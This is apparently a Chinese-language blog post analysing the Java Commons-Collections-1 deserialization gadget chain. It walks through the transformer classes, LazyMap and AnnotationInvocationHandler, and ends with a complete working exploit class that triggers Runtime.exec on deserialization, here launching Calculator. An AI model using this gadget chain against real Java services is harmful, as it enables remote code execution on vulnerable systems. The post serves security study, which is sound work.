Commons-Collections-1

Commons-Collections-1 利用链分析

Posted by SEVENTEEN on November 2, 2021

前言

   最近开始来打Java的技术栈,感觉反序列化链的原理跟PHP差不多,借此记录一下Commons-Collections-1链的分析。

影响范围

   JDK 8u71以前

配置环境

    <dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
    </dependencies>

Commons-Collections-1

   首先看到Transformer[]这个数组的内容,可以看到第一个参数实例化了ConstantTransformer类并传入Runtime.class类, 其余3个参数都是往InvokerTransformer类中传。

   那么,这个数组中的类究竟是在做什么呢?跟进一下代码,可以发现这里对一个类中的属性做了赋值。 对类中属性赋值肯定就会在其它方法中使用,看到下面的InvokerTransformer#transform()方法。大概可以猜到这里做了一个类似反射的操作。

   上面赋值都是在InvokerTransformer类中实现的,但第一个参数的Runtime.class类该怎么被InvokerTransformer#transform方法中的getClass()获取呢, 这里利用的是ConstantTransformer类将其赋值给iConstant,后面会通过该类中的transform返回。 由于ConstantTransformer继承Transformer接口,所以可以装载到Transformer数组中调用transform方法。

   上述构造的Transformer[]数组传入ChainedTransformer()方法后,可以看到下面的transform()方法可以搭配3次反射构造一个执行类来执行命令。 所以需要一个调用该类中transform()方法的方法。

   这里总结一下上面的反射调用链:

   1. ConstantTransformer方法将一个传入的参数返回,在上面我们用来调用Runtime.class;

   2. InvokerTransformer方法接受三个参数用来反射调用对象中的任意方法;

   3. ChainedTransformer方法接受一个TransFormer类型的数组,链式调用每个数组成员的transform方法。

   接下来就需要找可以调用ChainedTransformer#transform方法的方法。 先看到EXP中的LazyMap.decorate()方法,这里实例化了一个LazyMap,赋值给了this.factory。

   可以看到该类中还有一个get()方法调用了transform()方法。 factory即为上面控制的this.factory。 所以,只需要找一个调用LazyMap#get的点(有点类似找PHP的_call方法)。

   首先来到AnnotationInvocationHandler类的构造方法中,这里可以看到对this.memberValues进行了赋值。

   再看到该类中还有invoke方法,这里通过this.memberValues.get()调用了get方法,所以只要在构造方法中将this.memberValues赋值为LazyMap,就可以触发LazyMap#get。 而这个invoke方法在动态代理LazyMap后调用,具体可以调一下ysoserial中反序列化后的mapProxy。完成了上面的利用链后,就需要来看一下如何通过反序列化调用。

   AnnotationInvocationHandler类继承Serializable,所以看到这里的readObject()方法。 这里调用了Map类中的entrySet方法,所以进入到invoke方法拼成了上面的利用链。

EXP

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;


public class Poc2 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
        handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
    }
}

There Is Nothing Below

   

Turn at the next intersection.